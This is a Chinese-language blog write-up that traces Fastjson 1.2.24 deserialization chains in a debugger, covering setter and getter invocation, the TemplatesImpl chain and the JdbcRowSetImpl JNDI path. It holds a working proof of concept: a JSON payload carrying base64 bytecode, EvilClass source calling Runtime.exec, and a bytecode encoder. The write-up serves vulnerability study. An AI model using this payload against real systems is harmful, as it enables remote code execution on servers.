Fastjson利用链初探

Uncategorized
1.6k words

一篇关于Fastjson利用链调试的文章

准备文件

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>untitled</artifactId>
<version>1.0-SNAPSHOT</version>
<name>Archetype - untitled</name>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
<url>http://maven.apache.org</url>
</project>

test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
user user = new user("张三",18,"学习");
String s1 = JSON.toJSONString(user);
//toJSONString序列化对象的时候,会调用get方法
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println(s2);
System.out.println("-----------------------------------------------------");
Object parse = JSON.parse(s2);
System.out.println(parse);
System.out.println(parse.getClass().getName());
//普通的parse什么也不调用,默认转成了JSONObject对象
System.out.println("-----------------------------------------------------");
Object parse1 = JSON.parseObject(s2);
System.out.println(parse1);
System.out.println(parse1.getClass().getName());
//普通的JSON.parseObjec什么也不调用,默认转成了JSONObject对象
System.out.println("-----------------------------------------------------");
Object parse2 = JSON.parseObject(s2,Object.class);
System.out.println(parse2);
System.out.println(parse2.getClass().getName());
//指定了对象的JSON.parseObject什么也不调用,默认转成了JSONObject对象
}
}

流程分析の任意set

在JSON.parse这里下一个断点,跟进去

跳几步parser重载,来到DefaultJSONParser.parse这里,经过一系列条件判断(其实就看text的第一个字符是什么,这里因为是左括号,所以给他判定为了json解析,用的是json解析器)调用了parseObject(object, fieldName),跟进一下

可以看到,在这个parseObject代码里的最后部分完成了反序列化操作,先得到反序列化器,再执行反序列化,前面会通过一套相当麻烦的流程取到当前正在解析的key的名称,如果他是@type类型的,就去获取这个typename的类对象,作为后续反序列化器的参数进行加载,这里咱们如果想要继续调试,还得接着跟进一下反序列化器( getDeserializer ) 这里

经过一堆缓存加载判断,我们来到了createJavaBeanDeserializer这里(可喜可贺),我们接着跟进

我们直接来到了asmEnable判断这里,这里非常的关键,只有当这里的asmEnable为false,我们才能得到一个真正意义上可调试的反序列化器(这里是用户自定义反序列化器),如果不管的话,他就会用asm自己搞一个没法调试的反序列化器(相关代码如下)

1
2
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
return asmFactory.createJavaBeanDeserializer(this, beanInfo);

这里是直接在idea里面给asmEnable设值过的,不过其实也有别的办法
(比如给要反序列化的对象插一个Map的属性)

得到一个能用的反序列化器之后,再重新跟进一下DefaultJsonParser
return deserializer.deserialze(this, clazz, fieldName)这段代码。
我们新的关键点如下图所示,嗯,是一个设置属性值得地方
(他会先把所有属性给遍历一遍,然后用反射把每个属性的值给搞出来,赋给object)
我们跟进一下

最终结果如下,就在调用的set方法,要注意一下,这个方法不能是个getonly的方法,不然就没办法了(都能set了,怎么可能是个getonly方法)

最后再提一下吧,有关于method的获取都是在那个JavaBeanSerializer类里面搞得,其基本要求如下
对Set方法的要求:

  • 方法名不小于4
  • 方法不得为静态方法
  • 方法的返回类型得是void或者是方法本身所属的类
  • 方法的参数类型有且仅有一个
  • 方法名称以set开头,且第四个字母为大写

对Get方法的要求:

  • 方法名不小于4
  • 方法不得为静态方法
  • 方法名称以get开头,且第四个字母为大写
  • 方法不能有参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

流程分析の任意get

再去分析一下parseObject这里,我们跟进

结果如图,能看出里面已经把parse封装好了(会调用set的罪魁祸首就是你)
然后我们试着跟进一下 JSON.toJSON() ,就是这里完成的get调用

在最终起作用的toJSON里,会对传入的javaObject进行一系列判断,根据javaObject的类型决定后续的操作,由于这里是用户自定义的java bean对象,最终是来到了下图所示代码区,通过此处的代码,我们成功的把 javaObject 的属性和属性值转化成了一个map,接着跟进

道理是一样的,遍历get方法,跟进getPropertyValue

第一行就在获取属性值了,跟进

这里的method默认就是getXXX,然后就直接给调用了。。。

流程分析のTemplate链

前置条件

首先前置条件如下:

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
    • (Fastjson默认只能反序列化public属性)
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

相关文件

POC

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;
public class POC1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMRXZpbENsYXNzOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAJZXZpbENsYXNzBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAIAAkHAC8MADAAMQEACGNhbGMuZXhlDAAyADMBAAlFdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAA8AAAAEAAEAFwABABEAGAACAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAFAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABkAGgACAAAAAQAbABwAAwAPAAAABAABABcACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAFwAIABgADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

EvilClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
}

public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}
}

bytecode生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.ByteArrayOutputStream;  
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class HelloWorld {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = "E:\\历史CVE复现\\Java\\Fastjson反序列化\\1.2.24\\untitled\\target\\classes\\EvilClass.class";

try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}

审计分析

前半部分和之前那个userbean的几乎重合,但侧重点有所不同,比如在获得反序列化器那里,这个beanInfo就已经是个关键点了,我们跟进看一看

在这里就把get和set给筛进了fieldList里,用不着急等到下一步了。
(仔细看了一遍,在后面那个的那个反序列化器里面,又给重新筛了一遍,逻辑都是一样的,麻)


到这里的时候就会把getoutPrinter筛进fieldList去
调用如下:

调用newTransformer

调用 getTransletInstance()

loader.defineClass这里加载分批bytescode,这个defineClass相当于是loadclass重写方法,就不跟进了

流程分析のJdbcRowSetImpl

跟进一下setDataSourceName,这里就是把传进去的值赋给dataSource,结果如下图

再跟进一下setAutoCommit方法
关键在 connect() 这个函数上

跟进分析分析,还行那另一处ctx.lookup,值就是刚才赋的datasourcename,一眼jndi注入